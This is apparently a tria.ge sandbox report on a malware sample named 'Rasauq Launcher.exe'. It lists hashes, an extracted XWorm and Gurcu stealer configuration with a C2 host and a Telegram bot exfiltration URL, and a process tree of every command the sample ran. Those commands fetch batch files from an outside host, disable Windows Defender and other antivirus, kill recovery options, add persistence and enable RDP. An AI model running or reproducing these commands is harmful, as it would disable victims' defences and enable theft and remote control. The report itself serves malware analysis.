Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
149s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20250314-en -
resource tags
-
submitted
20/03/2025, 10:39
General
-
Target
Rasauq Launcher.exe
-
Size
84KB
-
MD5
569a09ebfa64b8f5ec39a17c2b3bc4dd
-
SHA1
1d2b2b9c024f2e204ab0b4bbba9a6c305038d487
-
SHA256
9fc53dcefce749b23c8f907dc44d498d15058a5b2cedb7c94e1cd42c88176c2f
-
SHA512
960af03f64621beda154dc986cb80d3370f11cb1fe846bc91ec8ba6782dd71dba229926ef2fea0fec208713e6b5af07912ca1045c40fe5c246dd6377529ee01b
-
SSDEEP
1536:l5e2sHTvN2b4p98BcYCXSg0qMl3nRgt5P7ZJUqAA/WkywGKwkvOWkDDiun:q2W0n4lEl3RE5veV2Wniun
Score
10/10
Malware Config
Extracted
Family
xworm
C2
looking-brings.gl.at.ply.gg:65381
Attributes
-
Install_directory
%LocalAppData%
-
install_file
USB.exe
-
telegram
https://api.telegram.org/bot8074871433:AAGd-vCZQOlCC_n2SUFT-qQ6fFThcBVDd1Y
Extracted
Family
gurcu
C2
https://api.telegram.org/bot8074871433:AAGd-vCZQOlCC_n2SUFT-qQ6fFThcBVDd1Y/sendMessage?chat_id=1002422094535
Signatures
-
Contains code to disable Windows Defender 1 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
-
Detect Xworm Payload 2 IoCs
-
Disables service(s) 3 TTPs
-
Gurcu family
-
Gurcu, WhiteSnake
Gurcu aka WhiteSnake is a malware stealer written in C#.
-
Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 4 IoCs
-
Modifies security service 2 TTPs 2 IoCs
-
Xworm
Xworm is a remote access trojan written in C#.
-
Xworm family
-
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
-
Command and Scripting Interpreter: PowerShell 1 TTPs 11 IoCs
Using powershell.exe command.
-
Disables RegEdit via registry modification 1 IoCs
-
Disables Task Manager via registry modification
-
Drops file in Drivers directory 1 IoCs
-
Manipulates Digital Signatures 1 TTPs 5 IoCs
Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to obtain their binary as valid.
-
Modifies Windows Firewall 2 TTPs 1 IoCs
-
Possible privilege escalation attempt 16 IoCs
-
Sets file to hidden 1 TTPs 2 IoCs
Modifies file attributes to stop it showing in Explorer etc.
-
Stops running service(s) 4 TTPs
-
Checks computer location settings 2 TTPs 4 IoCs
Looks up country code configured in the registry, likely geofence.
-
Drops startup file 4 IoCs
-
Executes dropped EXE 3 IoCs
-
Modifies file permissions 1 TTPs 16 IoCs
-
Adds Run key to start application 2 TTPs 4 IoCs
-
File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
-
Power Settings 1 TTPs 6 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
-
Drops file in System32 directory 6 IoCs
-
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
-
Drops file in Windows directory 4 IoCs
-
Launches sc.exe 38 IoCs
Sc.exe is a Windows utlilty to control services on the system.
-
Browser Information Discovery 1 TTPs
Enumerate browser information.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
-
Checks SCSI registry key(s) 3 TTPs 64 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Delays execution with timeout.exe 2 IoCs
-
Enumerates system info in registry 2 TTPs 3 IoCs
-
Kills process with taskkill 18 IoCs
-
Modifies data under HKEY_USERS 64 IoCs
-
Modifies registry class 57 IoCs
-
Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Suspicious behavior: EnumeratesProcesses 49 IoCs
-
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
-
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 46 IoCs
-
Suspicious use of AdjustPrivilegeToken 49 IoCs
-
Suspicious use of FindShellTrayWindow 2 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
-
Views/modifies file attributes 1 TTPs 2 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Rasauq Launcher.exe"C:\Users\Admin\AppData\Local\Temp\Rasauq Launcher.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Rasauq SoftWorks.exe"C:\Users\Admin\AppData\Local\Temp\Rasauq SoftWorks.exe"2⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Rasauq SoftWorks.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Rasauq SoftWorks.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Windows Host Service.scr'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Windows Host Service.scr'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Windows Host Service" /tr "C:\Users\Admin\AppData\Local\Windows Host Service.scr"3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Admin\AppData\Local\Temp\sRasauq SoftWorks.exe"C:\Users\Admin\AppData\Local\Temp\sRasauq SoftWorks.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\attrib.exe"C:\Windows\System32\attrib.exe" +s +h "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Realtek Audio Driver Host"3⤵
- Sets file to hidden
- Views/modifies file attributes
-
-
C:\Windows\System32\attrib.exe"C:\Windows\System32\attrib.exe" +s +h "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Realtek Audio Driver Host\$77RealtekAudioDriverHost.exe"3⤵
- Sets file to hidden
- Views/modifies file attributes
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpB788.tmp.bat""3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\timeout.exetimeout 34⤵
- Delays execution with timeout.exe
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Realtek Audio Driver Host\$77RealtekAudioDriverHost.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Realtek Audio Driver Host\$77RealtekAudioDriverHost.exe"4⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /query /TN $77RealtekAudioDriverHost.exe5⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /SC ONCE /TN "$77RealtekAudioDriverHost.exe" /TR "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Realtek Audio Driver Host\$77RealtekAudioDriverHost.exe \"\$77RealtekAudioDriverHost.exe\" /AsAdmin" /ST 00:01 /IT /F /RL HIGHEST5⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /query /TN $77RealtekAudioDriverHost.exe5⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionExtension exe,bat,dll,ps1;exit5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /sc daily /tn "RealtekAudioDriverHost_Task-DAILY-21PM" /TR "%MyFile%" /ST 21:005⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Launch.bat" "2⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\curl.execurl -o ModMenu.bat https://sky-aerial-derby.glitch.me/ModMenu.bat3⤵
-
-
C:\Windows\system32\curl.execurl -o hig.bat https://sky-aerial-derby.glitch.me/ModMenu.bat3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hig.bat"3⤵
- Drops file in Drivers directory
- Drops file in System32 directory
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\openfiles.exeopenfiles4⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "(new-object -com shell.application).minimizeall()"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
C:\Windows\system32\curl.execurl -O https://media.discordapp.net/attachments/1198940919777472532/1349364239487467550/IMG_3728.png4⤵
-
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v "Wallpaper" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\IMG_3728.png" /f4⤵
- Sets desktop wallpaper using registry
-
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v "WallpaperStyle" /t REG_SZ /d 10 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v "TileWallpaper" /t REG_SZ /d 0 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Personalization" /v "LockScreenImage" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\IMG_3728.png" /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI\Background" /v "OEMBackground" /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI\Background" /v "BackgroundType" /t REG_DWORD /d 0 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI\Background" /v "Background" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\IMG_3728.png" /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\DWM" /v "AccentColor" /t REG_DWORD /d 0x00000000 /f4⤵
-
-
C:\Windows\system32\rundll32.exeRUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters4⤵
-
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\kbdhid" /v Start /t REG_DWORD /d 4 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mouhid" /v Start /t REG_DWORD /d 4 /f4⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "Windows Host Service" /tr "\"C:\Windows\System32\Rasauq\$77RasauqBroker.bat\"" /sc onlogon /rl highest /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\sc.exesc stop WinDefend4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config WinDefend start=disabled4⤵
- Launches sc.exe
-
-
C:\Windows\system32\schtasks.exeschtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable4⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable4⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable4⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable4⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f4⤵
- Modifies Windows Defender DisableAntiSpyware settings
-
-
C:\Windows\system32\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d 4 /f4⤵
- Modifies security service
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows Defender" /v "Last Known Good" /t REG_DWORD /d 0 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center" /v "DisableSecurityCenter" /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Services\MpsSvc" /v "Start" /t REG_DWORD /d 4 /f4⤵
- Modifies security service
-
-
C:\Windows\system32\cmd.execmd /c "C:\Windows\System32\Rasauq\$77RasauqBroker.bat"4⤵
-
C:\Windows\system32\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f5⤵
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yes5⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im explorer.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object -ComObject SAPI.SpVoice).Volume = 100"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoViewContextMenu" /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoControlPanel" /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoSettings" /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoAddPrinter" /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "HideSCAVerb" /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f4⤵
- Modifies Windows Defender DisableAntiSpyware settings
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideIcons" /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "InvertMouse" /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\ReAgentc.exereagentc /disable4⤵
- Drops file in System32 directory
- Drops file in Windows directory
-
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\System32\Recovery\WinRE.wim /a /r /d y4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls C:\Windows\System32\Recovery\WinRE.wim /grant Administrators:F /t /c /l /q4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\System32\Recovery /a /r /d y4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls C:\Windows\System32\Recovery /grant Administrators:F /t /c /l /q4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {current} recoveryenabled No4⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exebcdedit /deletevalue {default} recoveryenabled4⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WinRE" /v "DisableWinRE" /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\reg.exeREG ADD "HKCU\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f4⤵
- Modifies Windows Defender DisableAntiSpyware settings
-
-
C:\Windows\system32\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /f4⤵
-
-
C:\Windows\system32\reg.exeREG DELETE "HKCU\Software\Policies\Microsoft\Windows Defender" /f4⤵
-
-
C:\Windows\system32\sc.exesc stop WinDefend4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config WinDefend start= disabled4⤵
- Launches sc.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableAntiTamper $true"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableIOAVProtection $true"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\mspmsnsv.dll" /r /d y4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\wscsvc.dll" /r /d y4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM mbam.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM MBAMService.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM mbamtray.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM mbamscheduler.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\sc.exesc stop MBAMService4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete MBAMService4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc stop MBAMProtector4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete MBAMProtector4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc stop MBAMChameleon4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete MBAMChameleon4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc stop MBAMFarflt4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete MBAMFarflt4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc stop MBAMSwissArmy4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete MBAMSwissArmy4⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Malwarebytes" /f4⤵
-
-
C:\Windows\system32\reg.exereg delete "HKEY_CURRENT_USER\SOFTWARE\Malwarebytes" /f4⤵
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MBAMService" /f4⤵
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MBAMChameleon" /f4⤵
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MBAMFarflt" /f4⤵
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MBAMSwissArmy" /f4⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM bdservicehost.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM bdagent.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM bdredline.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM bdparentalservice.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM bdreinit.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM bdsubwiz.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM seccenter.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM vsserv.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM epssecurityservice.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\sc.exesc stop bdservicehost4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete bdservicehost4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc stop bdagent4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete bdagent4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc stop bdredline4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete bdredline4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc stop bdparentalservice4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete bdparentalservice4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc stop bdreinit4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete bdreinit4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc stop bdsubwiz4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete bdsubwiz4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc stop seccenter4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete seccenter4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc stop vsserv4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete vsserv4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc stop epssecurityservice4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete epssecurityservice4⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Bitdefender" /f4⤵
-
-
C:\Windows\system32\reg.exereg delete "HKEY_CURRENT_USER\SOFTWARE\Bitdefender" /f4⤵
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\bdservicehost" /f4⤵
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\bdagent" /f4⤵
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\bdredline" /f4⤵
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\bdparentalservice" /f4⤵
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\bdreinit" /f4⤵
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\bdsubwiz" /f4⤵
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\seccenter" /f4⤵
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\vsserv" /f4⤵
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\epssecurityservice" /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f4⤵
- Modifies Windows Defender DisableAntiSpyware settings
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableBehaviorMonitoring" /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableOnAccessProtection" /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\sc.exesc stop WinDefend4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete WinDefend4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc stop SecurityHealthService4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete SecurityHealthService4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc stop Sense4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete Sense4⤵
- Launches sc.exe
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM MsMpEng.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM MpCmdRun.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM SecurityHealthSystray.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
